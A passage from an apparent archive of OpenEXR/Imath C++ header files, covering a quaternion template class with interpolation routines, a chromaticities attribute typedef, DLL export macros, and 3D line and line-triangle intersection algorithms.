WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHQUAT_H #define INCLUDED_IMATHQUAT_H //---------------------------------------------------------------------- // // template class Quat<T> // // "Quaternions came from Hamilton ... and have been an unmixed // evil to those who have touched them in any way. Vector is a // useless survival ... and has never been of the slightest use // to any creature." // // - Lord Kelvin // // This class implements the quaternion numerical type -- you // will probably want to use this class to represent orientations // in R3 and to convert between various euler angle reps. You // should probably use Imath::Euler<> for that. // //---------------------------------------------------------------------- #include "ImathExc.h" #include "ImathMatrix.h" #include "ImathNamespace.h" #include <iostream> IMATH_INTERNAL_NAMESPACE_HEADER_ENTER #if (defined _WIN32 || defined _WIN64) && defined _MSC_VER // Disable MS VC++ warnings about conversion from double to float #pragma warning(disable:4244) #endif template <class T> class Quat { public: T r; // real part Vec3<T> v; // imaginary vector //----------------------------------------------------- // Constructors - default constructor is identity quat //----------------------------------------------------- Quat (); template <class S> Quat (const Quat<S> &q); Quat (T s, T i, T j, T k); Quat (T s, Vec3<T> d); static Quat<T> identity (); //------------------------------------------------- // Basic Algebra - Operators and Methods // The operator return values are *NOT* normalized // // operator^ and euclideanInnnerProduct() both // implement the 4D dot product // // operator/ uses the inverse() quaternion // // operator~ is conjugate -- if (S+V) is quat then // the conjugate (S+V)* == (S-V) // // some operators (*,/,*=,/=) treat the quat as // a 4D vector when one of the operands is scalar //------------------------------------------------- const Quat<T> & operator = (const Quat<T> &q); const Quat<T> & operator *= (const Quat<T> &q); const Quat<T> & operator *= (T t); const Quat<T> & operator /= (const Quat<T> &q); const Quat<T> & operator /= (T t); const Quat<T> & operator += (const Quat<T> &q); const Quat<T> & operator -= (const Quat<T> &q); T & operator [] (int index); // as 4D vector T operator [] (int index) const; template <class S> bool operator == (const Quat<S> &q) const; template <class S> bool operator != (const Quat<S> &q) const; Quat<T> & invert (); // this -> 1 / this Quat<T> inverse () const; Quat<T> & normalize (); // returns this Quat<T> normalized () const; T length () const; // in R4 Vec3<T> rotateVector(const Vec3<T> &original) const; T euclideanInnerProduct(const Quat<T> &q) const; //----------------------- // Rotation conversion //----------------------- Quat<T> & setAxisAngle (const Vec3<T> &axis, T radians); Quat<T> & setRotation (const Vec3<T> &fromDirection, const Vec3<T> &toDirection); T angle () const; Vec3<T> axis () const; Matrix33<T> toMatrix33 () const; Matrix44<T> toMatrix44 () const; Quat<T> log () const; Quat<T> exp () const; private: void setRotationInternal (const Vec3<T> &f0, const Vec3<T> &t0, Quat<T> &q); }; template<class T> Quat<T> slerp (const Quat<T> &q1, const Quat<T> &q2, T t); template<class T> Quat<T> slerpShortestArc (const Quat<T> &q1, const Quat<T> &q2, T t); template<class T> Quat<T> squad (const Quat<T> &q1, const Quat<T> &q2, const Quat<T> &qa, const Quat<T> &qb, T t); template<class T> void intermediate (const Quat<T> &q0, const Quat<T> &q1, const Quat<T> &q2, const Quat<T> &q3, Quat<T> &qa, Quat<T> &qb); template<class T> Matrix33<T> operator * (const Matrix33<T> &M, const Quat<T> &q); template<class T> Matrix33<T> operator * (const Quat<T> &q, const Matrix33<T> &M); template<class T> std::ostream & operator << (std::ostream &o, const Quat<T> &q); template<class T> Quat<T> operator * (const Quat<T> &q1, const Quat<T> &q2); template<class T> Quat<T> operator / (const Quat<T> &q1, const Quat<T> &q2); template<class T> Quat<T> operator / (const Quat<T> &q, T t); template<class T> Quat<T> operator * (const Quat<T> &q, T t); template<class T> Quat<T> operator * (T t, const Quat<T> &q); template<class T> Quat<T> operator + (const Quat<T> &q1, const Quat<T> &q2); template<class T> Quat<T> operator - (const Quat<T> &q1, const Quat<T> &q2); template<class T> Quat<T> operator ~ (const Quat<T> &q); template<class T> Quat<T> operator - (const Quat<T> &q); template<class T> Vec3<T> operator * (const Vec3<T> &v, const Quat<T> &q); //-------------------- // Convenient typedefs //-------------------- typedef Quat<float> Quatf; typedef Quat<double> Quatd; //--------------- // Implementation //--------------- template<class T> inline Quat<T>::Quat (): r (1), v (0, 0, 0) { // empty } template<class T> template <class S> inline Quat<T>::Quat (const Quat<S> &q): r (q.r), v (q.v) { // empty } template<class T> inline Quat<T>::Quat (T s, T i, T j, T k): r (s), v (i, j, k) { // empty } template<class T> inline Quat<T>::Quat (T s, Vec3<T> d): r (s), v (d) { // empty } template<class T> inline Quat<T> Quat<T>::identity () { return Quat<T>(); } template<class T> inline const Quat<T> & Quat<T>::operator = (const Quat<T> &q) { r = q.r; v = q.v; return *this; } template<class T> inline const Quat<T> & Quat<T>::operator *= (const Quat<T> &q) { T rtmp = r * q.r - (v ^ q.v); v = r * q.v + v * q.r + v % q.v; r = rtmp; return *this; } template<class T> inline const Quat<T> & Quat<T>::operator *= (T t) { r *= t; v *= t; return *this; } template<class T> inline const Quat<T> & Quat<T>::operator /= (const Quat<T> &q) { *this = *this * q.inverse(); return *this; } template<class T> inline const Quat<T> & Quat<T>::operator /= (T t) { r /= t; v /= t; return *this; } template<class T> inline const Quat<T> & Quat<T>::operator += (const Quat<T> &q) { r += q.r; v += q.v; return *this; } template<class T> inline const Quat<T> & Quat<T>::operator -= (const Quat<T> &q) { r -= q.r; v -= q.v; return *this; } template<class T> inline T & Quat<T>::operator [] (int index) { return index ? v[index - 1] : r; } template<class T> inline T Quat<T>::operator [] (int index) const { return index ? v[index - 1] : r; } template <class T> template <class S> inline bool Quat<T>::operator == (const Quat<S> &q) const { return r == q.r && v == q.v; } template <class T> template <class S> inline bool Quat<T>::operator != (const Quat<S> &q) const { return r != q.r || v != q.v; } template<class T> inline T operator ^ (const Quat<T>& q1 ,const Quat<T>& q2) { return q1.r * q2.r + (q1.v ^ q2.v); } template <class T> inline T Quat<T>::length () const { return Math<T>::sqrt (r * r + (v ^ v)); } template <class T> inline Quat<T> & Quat<T>::normalize () { if (T l = length()) { r /= l; v /= l; } else { r = 1; v = Vec3<T> (0); } return *this; } template <class T> inline Quat<T> Quat<T>::normalized () const { if (T l = length()) return Quat (r / l, v / l); return Quat(); } template<class T> inline Quat<T> Quat<T>::inverse () const { // // 1 Q* // - = ---- where Q* is conjugate (operator~) // Q Q* Q and (Q* Q) == Q ^ Q (4D dot) // T qdot = *this ^ *this; return Quat (r / qdot, -v / qdot); } template<class T> inline Quat<T> & Quat<T>::invert () { T qdot = (*this) ^ (*this); r /= qdot; v = -v / qdot; return *this; } template<class T> inline Vec3<T> Quat<T>::rotateVector(const Vec3<T>& original) const { // // Given a vector p and a quaternion q (aka this), // calculate p' = qpq* // // Assumes unit quaternions (because non-unit // quaternions cannot be used to rotate vectors // anyway). // Quat<T> vec (0, original); // temporarily promote grade of original Quat<T> inv (*this); inv.v *= -1; // unit multiplicative inverse Quat<T> result = *this * vec * inv; return result.v; } template<class T> inline T Quat<T>::euclideanInnerProduct (const Quat<T> &q) const { return r * q.r + v.x * q.v.x + v.y * q.v.y + v.z * q.v.z; } template<class T> T angle4D (const Quat<T> &q1, const Quat<T> &q2) { // // Compute the angle between two quaternions, // interpreting the quaternions as 4D vectors. // Quat<T> d = q1 - q2; T lengthD = Math<T>::sqrt (d ^ d); Quat<T> s = q1 + q2; T lengthS = Math<T>::sqrt (s ^ s); return 2 * Math<T>::atan2 (lengthD, lengthS); } template<class T> Quat<T> slerp (const Quat<T> &q1, const Quat<T> &q2, T t) { // // Spherical linear interpolation. // Assumes q1 and q2 are normalized and that q1 != -q2. // // This method does *not* interpolate along the shortest // arc between q1 and q2. If you desire interpolation // along the shortest arc, and q1^q2 is negative, then // consider calling slerpShortestArc(), below, or flipping // the second quaternion explicitly. // // The implementation of squad() depends on a slerp() // that interpolates as is, without the automatic // flipping. // // Don Hatch explains the method we use here on his // web page, The Right Way to Calculate Stuff, at // http://www.plunk.org/~hatch/rightway.php // T a = angle4D (q1, q2); T s = 1 - t; Quat<T> q = sinx_over_x (s * a) / sinx_over_x (a) * s * q1 + sinx_over_x (t * a) / sinx_over_x (a) * t * q2; return q.normalized(); } template<class T> Quat<T> slerpShortestArc (const Quat<T> &q1, const Quat<T> &q2, T t) { // // Spherical linear interpolation along the shortest // arc from q1 to either q2 or -q2, whichever is closer. // Assumes q1 and q2 are unit quaternions. // if ((q1 ^ q2) >= 0) return slerp (q1, q2, t); else return slerp (q1, -q2, t); } template<class T> Quat<T> spline (const Quat<T> &q0, const Quat<T> &q1, const Quat<T> &q2, const Quat<T> &q3, T t) { // // Spherical Cubic Spline Interpolation - // from Advanced Animation and Rendering // Techniques by Watt and Watt, Page 366: // A spherical curve is constructed using three // spherical linear interpolations of a quadrangle // of unit quaternions: q1, qa, qb, q2. // Given a set of quaternion keys: q0, q1, q2, q3, // this routine does the interpolation between // q1 and q2 by constructing two intermediate // quaternions: qa and qb. The qa and qb are // computed by the intermediate function to // guarantee the continuity of tangents across // adjacent cubic segments. The qa represents in-tangent // for q1 and the qb represents the out-tangent for q2. // // The q1 q2 is the cubic segment being interpolated. // The q0 is from the previous adjacent segment and q3 is // from the next adjacent segment. The q0 and q3 are used // in computing qa and qb. // Quat<T> qa = intermediate (q0, q1, q2); Quat<T> qb = intermediate (q1, q2, q3); Quat<T> result = squad (q1, qa, qb, q2, t); return result; } template<class T> Quat<T> squad (const Quat<T> &q1, const Quat<T> &qa, const Quat<T> &qb, const Quat<T> &q2, T t) { // // Spherical Quadrangle Interpolation - // from Advanced Animation and Rendering // Techniques by Watt and Watt, Page 366: // It constructs a spherical cubic interpolation as // a series of three spherical linear interpolations // of a quadrangle of unit quaternions. // Quat<T> r1 = slerp (q1, q2, t); Quat<T> r2 = slerp (qa, qb, t); Quat<T> result = slerp (r1, r2, 2 * t * (1 - t)); return result; } template<class T> Quat<T> intermediate (const Quat<T> &q0, const Quat<T> &q1, const Quat<T> &q2) { // // From advanced Animation and Rendering // Techniques by Watt and Watt, Page 366: // computing the inner quadrangle // points (qa and qb) to guarantee tangent // continuity. // Quat<T> q1inv = q1.inverse(); Quat<T> c1 = q1inv * q2; Quat<T> c2 = q1inv * q0; Quat<T> c3 = (T) (-0.25) * (c2.log() + c1.log()); Quat<T> qa = q1 * c3.exp(); qa.normalize(); return qa; } template <class T> inline Quat<T> Quat<T>::log () const { // // For unit quaternion, from Advanced Animation and // Rendering Techniques by Watt and Watt, Page 366: // T theta = Math<T>::acos (std::min (r, (T) 1.0)); if (theta == 0) return Quat<T> (0, v); T sintheta = Math<T>::sin (theta); T k; if (abs (sintheta) < 1 && abs (theta) >= limits<T>::max() * abs (sintheta)) k = 1; else k = theta / sintheta; return Quat<T> ((T) 0, v.x * k, v.y * k, v.z * k); } template <class T> inline Quat<T> Quat<T>::exp () const { // // For pure quaternion (zero scalar part): // from Advanced Animation and Rendering // Techniques by Watt and Watt, Page 366: // T theta = v.length(); T sintheta = Math<T>::sin (theta); T k; if (abs (theta) < 1 && abs (sintheta) >= limits<T>::max() * abs (theta)) k = 1; else k = sintheta / theta; T costheta = Math<T>::cos (theta); return Quat<T> (costheta, v.x * k, v.y * k, v.z * k); } template <class T> inline T Quat<T>::angle () const { return 2 * Math<T>::atan2 (v.length(), r); } template <class T> inline Vec3<T> Quat<T>::axis () const { return v.normalized(); } template <class T> inline Quat<T> & Quat<T>::setAxisAngle (const Vec3<T> &axis, T radians) { r = Math<T>::cos (radians / 2); v = axis.normalized() * Math<T>::sin (radians / 2); return *this; } template <class T> Quat<T> & Quat<T>::setRotation (const Vec3<T> &from, const Vec3<T> &to) { // // Create a quaternion that rotates vector from into vector to, // such that the rotation is around an axis that is the cross // product of from and to. // // This function calls function setRotationInternal(), which is // numerically accurate only for rotation angles that are not much // greater than pi/2. In order to achieve good accuracy for angles // greater than pi/2, we split large angles in half, and rotate in // two steps. // // // Normalize from and to, yielding f0 and t0. // Vec3<T> f0 = from.normalized(); Vec3<T> t0 = to.normalized(); if ((f0 ^ t0) >= 0) { // // The rotation angle is less than or equal to pi/2. // setRotationInternal (f0, t0, *this); } else { // // The angle is greater than pi/2. After computing h0, // which is halfway between f0 and t0, we rotate first // from f0 to h0, then from h0 to t0. // Vec3<T> h0 = (f0 + t0).normalized(); if ((h0 ^ h0) != 0) { setRotationInternal (f0, h0, *this); Quat<T> q; setRotationInternal (h0, t0, q); *this *= q; } else { // // f0 and t0 point in exactly opposite directions. // Pick an arbitrary axis that is orthogonal to f0, // and rotate by pi. // r = T (0); Vec3<T> f02 = f0 * f0; if (f02.x <= f02.y && f02.x <= f02.z) v = (f0 % Vec3<T> (1, 0, 0)).normalized(); else if (f02.y <= f02.z) v = (f0 % Vec3<T> (0, 1, 0)).normalized(); else v = (f0 % Vec3<T> (0, 0, 1)).normalized(); } } return *this; } template <class T> void Quat<T>::setRotationInternal (const Vec3<T> &f0, const Vec3<T> &t0, Quat<T> &q) { // // The following is equivalent to setAxisAngle(n,2*phi), // where the rotation axis, n, is orthogonal to the f0 and // t0 vectors, and 2*phi is the angle between f0 and t0. // // This function is called by setRotation(), above; it assumes // that f0 and t0 are normalized and that the angle between // them is not much greater than pi/2. This function becomes // numerically inaccurate if f0 and t0 point into nearly // opposite directions. // // // Find a normalized vector, h0, that is halfway between f0 and t0. // The angle between f0 and h0 is phi. // Vec3<T> h0 = (f0 + t0).normalized(); // // Store the rotation axis and rotation angle. // q.r = f0 ^ h0; // f0 ^ h0 == cos (phi) q.v = f0 % h0; // (f0 % h0).length() == sin (phi) } template<class T> Matrix33<T> Quat<T>::toMatrix33() const { return Matrix33<T> (1 - 2 * (v.y * v.y + v.z * v.z), 2 * (v.x * v.y + v.z * r), 2 * (v.z * v.x - v.y * r), 2 * (v.x * v.y - v.z * r), 1 - 2 * (v.z * v.z + v.x * v.x), 2 * (v.y * v.z + v.x * r), 2 * (v.z * v.x + v.y * r), 2 * (v.y * v.z - v.x * r), 1 - 2 * (v.y * v.y + v.x * v.x)); } template<class T> Matrix44<T> Quat<T>::toMatrix44() const { return Matrix44<T> (1 - 2 * (v.y * v.y + v.z * v.z), 2 * (v.x * v.y + v.z * r), 2 * (v.z * v.x - v.y * r), 0, 2 * (v.x * v.y - v.z * r), 1 - 2 * (v.z * v.z + v.x * v.x), 2 * (v.y * v.z + v.x * r), 0, 2 * (v.z * v.x + v.y * r), 2 * (v.y * v.z - v.x * r), 1 - 2 * (v.y * v.y + v.x * v.x), 0, 0, 0, 0, 1); } template<class T> inline Matrix33<T> operator * (const Matrix33<T> &M, const Quat<T> &q) { return M * q.toMatrix33(); } template<class T> inline Matrix33<T> operator * (const Quat<T> &q, const Matrix33<T> &M) { return q.toMatrix33() * M; } template<class T> std::ostream & operator << (std::ostream &o, const Quat<T> &q) { return o << "(" << q.r << " " << q.v.x << " " << q.v.y << " " << q.v.z << ")"; } template<class T> inline Quat<T> operator * (const Quat<T> &q1, const Quat<T> &q2) { return Quat<T> (q1.r * q2.r - (q1.v ^ q2.v), q1.r * q2.v + q1.v * q2.r + q1.v % q2.v); } template<class T> inline Quat<T> operator / (const Quat<T> &q1, const Quat<T> &q2) { return q1 * q2.inverse(); } template<class T> inline Quat<T> operator / (const Quat<T> &q, T t) { return Quat<T> (q.r / t, q.v / t); } template<class T> inline Quat<T> operator * (const Quat<T> &q, T t) { return Quat<T> (q.r * t, q.v * t); } template<class T> inline Quat<T> operator * (T t, const Quat<T> &q) { return Quat<T> (q.r * t, q.v * t); } template<class T> inline Quat<T> operator + (const Quat<T> &q1, const Quat<T> &q2) { return Quat<T> (q1.r + q2.r, q1.v + q2.v); } template<class T> inline Quat<T> operator - (const Quat<T> &q1, const Quat<T> &q2) { return Quat<T> (q1.r - q2.r, q1.v - q2.v); } template<class T> inline Quat<T> operator ~ (const Quat<T> &q) { return Quat<T> (q.r, -q.v); } template<class T> inline Quat<T> operator - (const Quat<T> &q) { return Quat<T> (-q.r, -q.v); } template<class T> inline Vec3<T> operator * (const Vec3<T> &v, const Quat<T> &q) { Vec3<T> a = q.v % v; Vec3<T> b = q.v % a; return v + T (2) * (q.r * a + b); } #if (defined _WIN32 || defined _WIN64) && defined _MSC_VER #pragma warning(default:4244) #endif IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHQUAT_H OpenEXR/ImfChromaticitiesAttribute.h 0000644 00000005371 15246445047 0013505 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2003, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_CHROMATICITIES_ATTRIBUTE_H #define INCLUDED_IMF_CHROMATICITIES_ATTRIBUTE_H //----------------------------------------------------------------------------- // // class ChromaticitiesAttribute // //----------------------------------------------------------------------------- #include "ImfAttribute.h" #include "ImfChromaticities.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER typedef TypedAttribute<OPENEXR_IMF_INTERNAL_NAMESPACE::Chromaticities> ChromaticitiesAttribute; template <> IMF_EXPORT const char *ChromaticitiesAttribute::staticTypeName (); template <> IMF_EXPORT void ChromaticitiesAttribute::writeValueTo (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &, int) const; template <> IMF_EXPORT void ChromaticitiesAttribute::readValueFrom (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &, int, int); OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/halfExport.h 0000644 00000001365 15246445047 0010331 0 ustar 00 #ifndef HALFEXPORT_H #define HALFEXPORT_H // // Copyright (c) 2008 Lucasfilm Entertainment Company Ltd. // All rights reserved. Used under authorization. // This material contains the confidential and proprietary // information of Lucasfilm Entertainment Company and // may not be copied in whole or in part without the express // written permission of Lucasfilm Entertainment Company. // This copyright notice does not imply publication. // #if defined(OPENEXR_DLL) #if defined(HALF_EXPORTS) #define HALF_EXPORT __declspec(dllexport) #else #define HALF_EXPORT __declspec(dllimport) #endif #define HALF_EXPORT_CONST #else #define HALF_EXPORT #define HALF_EXPORT_CONST const #endif #endif // #ifndef HALFEXPORT_H OpenEXR/ImathLineAlgo.h 0000644 00000017270 15246445047 0010674 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHLINEALGO_H #define INCLUDED_IMATHLINEALGO_H //------------------------------------------------------------------ // // This file contains algorithms applied to or in conjunction // with lines (Imath::Line). These algorithms may require // more headers to compile. The assumption made is that these // functions are called much less often than the basic line // functions or these functions require more support classes // // Contains: // // bool closestPoints(const Line<T>& line1, // const Line<T>& line2, // Vec3<T>& point1, // Vec3<T>& point2) // // bool intersect( const Line3<T> &line, // const Vec3<T> &v0, // const Vec3<T> &v1, // const Vec3<T> &v2, // Vec3<T> &pt, // Vec3<T> &barycentric, // bool &front) // // V3f // closestVertex(const Vec3<T> &v0, // const Vec3<T> &v1, // const Vec3<T> &v2, // const Line3<T> &l) // // V3f // rotatePoint(const Vec3<T> p, Line3<T> l, float angle) // //------------------------------------------------------------------ #include "ImathLine.h" #include "ImathVecAlgo.h" #include "ImathFun.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> bool closestPoints (const Line3<T>& line1, const Line3<T>& line2, Vec3<T>& point1, Vec3<T>& point2) { // // Compute point1 and point2 such that point1 is on line1, point2 // is on line2 and the distance between point1 and point2 is minimal. // This function returns true if point1 and point2 can be computed, // or false if line1 and line2 are parallel or nearly parallel. // This function assumes that line1.dir and line2.dir are normalized. // Vec3<T> w = line1.pos - line2.pos; T d1w = line1.dir ^ w; T d2w = line2.dir ^ w; T d1d2 = line1.dir ^ line2.dir; T n1 = d1d2 * d2w - d1w; T n2 = d2w - d1d2 * d1w; T d = 1 - d1d2 * d1d2; T absD = abs (d); if ((absD > 1) || (abs (n1) < limits<T>::max() * absD && abs (n2) < limits<T>::max() * absD)) { point1 = line1 (n1 / d); point2 = line2 (n2 / d); return true; } else { return false; } } template <class T> bool intersect (const Line3<T> &line, const Vec3<T> &v0, const Vec3<T> &v1, const Vec3<T> &v2, Vec3<T> &pt, Vec3<T> &barycentric, bool &front) { // // Given a line and a triangle (v0, v1, v2), the intersect() function // finds the intersection of the line and the plane that contains the // triangle. // // If the intersection point cannot be computed, either because the // line and the triangle's plane are nearly parallel or because the // triangle's area is very small, intersect() returns false. // // If the intersection point is outside the triangle, intersect // returns false. // // If the intersection point, pt, is inside the triangle, intersect() // computes a front-facing flag and the barycentric coordinates of // the intersection point, and returns true. // // The front-facing flag is true if the dot product of the triangle's // normal, (v2-v1)%(v1-v0), and the line's direction is negative. // // The barycentric coordinates have the following property: // // pt = v0 * barycentric.x + v1 * barycentric.y + v2 * barycentric.z // Vec3<T> edge0 = v1 - v0; Vec3<T> edge1 = v2 - v1; Vec3<T> normal = edge1 % edge0; T l = normal.length(); if (l != 0) normal /= l; else return false; // zero-area triangle // // d is the distance of line.pos from the plane that contains the triangle. // The intersection point is at line.pos + (d/nd) * line.dir. // T d = normal ^ (v0 - line.pos); T nd = normal ^ line.dir; if (abs (nd) > 1 || abs (d) < limits<T>::max() * abs (nd)) pt = line (d / nd); else return false; // line and plane are nearly parallel // // Compute the barycentric coordinates of the intersection point. // The intersection is inside the triangle if all three barycentric // coordinates are between zero and one. // { Vec3<T> en = edge0.normalized(); Vec3<T> a = pt - v0; Vec3<T> b = v2 - v0; Vec3<T> c = (a - en * (en ^ a)); Vec3<T> d = (b - en * (en ^ b)); T e = c ^ d; T f = d ^ d; if (e >= 0 && e <= f) barycentric.z = e / f; else return false; // outside } { Vec3<T> en = edge1.normalized(); Vec3<T> a = pt - v1; Vec3<T> b = v0 - v1; Vec3<T> c = (a - en * (en ^ a)); Vec3<T> d = (b - en * (en ^ b)); T e = c ^ d; T f = d ^ d; if (e >= 0 && e <= f) barycentric.x = e / f; else return false; // outside } barycentric.y = 1 - barycentric.x - barycentric.z; if (barycentric.y < 0) return false; // outside front = ((line.dir ^ normal) < 0); return true; } template <class T> Vec3<T> closestVertex (const Vec3<T> &v0, const Vec3<T> &v1, const Vec3<T> &v2, const Line3<T> &l) { Vec3<T> nearest = v0; T neardot = (v0 - l.closestPointTo(v0)).length2(); T tmp = (v1 - l.closestPointTo(v1)).length2(); if (tmp < neardot) { neardot = tmp; nearest = v1; } tmp = (v2 - l.closestPointTo(v2)).length2(); if (tmp < neardot) { neardot = tmp; nearest = v2; } return nearest; } template <class T> Vec3<T> rotatePoint (const Vec3<T> p, Line3<T> l, T angle) { // // Rotate the point p around the line l by the given angle. // // // Form a coordinate frame with <x,y,a>. The rotation is the in xy // plane. // Vec3<T> q = l.closestPointTo(p); Vec3<T> x = p - q; T radius = x.length(); x.normalize(); Vec3<T> y = (x % l.dir).normalize(); T cosangle = Math<T>::cos(angle); T sinangle = Math<T>::sin(angle); Vec3<T> r = q + x * radius * cosangle + y * radius * sinangle; return r; } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHLINEALGO_H OpenEXR/ImathLine.h 0000644 00000011366 15246445047 0010071 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHLINE_H #define INCLUDED_IMATHLINE_H //------------------------------------- // // A 3D line class template // //------------------------------------- #include "ImathVec.h" #include "ImathLimits.h" #include "ImathMatrix.h" #include "ImathNamespace.h" IMATH_INTERNAL_NAMESPACE_HEADER_ENTER template <class T> class Line3 { public: Vec3<T> pos; Vec3<T> dir; //------------------------------------------------------------- // Constructors - default is normalized units along direction //------------------------------------------------------------- Line3() {} Line3(const Vec3<T>& point1, const Vec3<T>& point2); //------------------ // State Query/Set //------------------ void set(const Vec3<T>& point1, const Vec3<T>& point2); //------- // F(t) //------- Vec3<T> operator() (T parameter) const; //--------- // Query //--------- T distanceTo(const Vec3<T>& point) const; T distanceTo(const Line3<T>& line) const; Vec3<T> closestPointTo(const Vec3<T>& point) const; Vec3<T> closestPointTo(const Line3<T>& line) const; }; //-------------------- // Convenient typedefs //-------------------- typedef Line3<float> Line3f; typedef Line3<double> Line3d; //--------------- // Implementation //--------------- template <class T> inline Line3<T>::Line3(const Vec3<T> &p0, const Vec3<T> &p1) { set(p0,p1); } template <class T> inline void Line3<T>::set(const Vec3<T> &p0, const Vec3<T> &p1) { pos = p0; dir = p1-p0; dir.normalize(); } template <class T> inline Vec3<T> Line3<T>::operator()(T parameter) const { return pos + dir * parameter; } template <class T> inline T Line3<T>::distanceTo(const Vec3<T>& point) const { return (closestPointTo(point)-point).length(); } 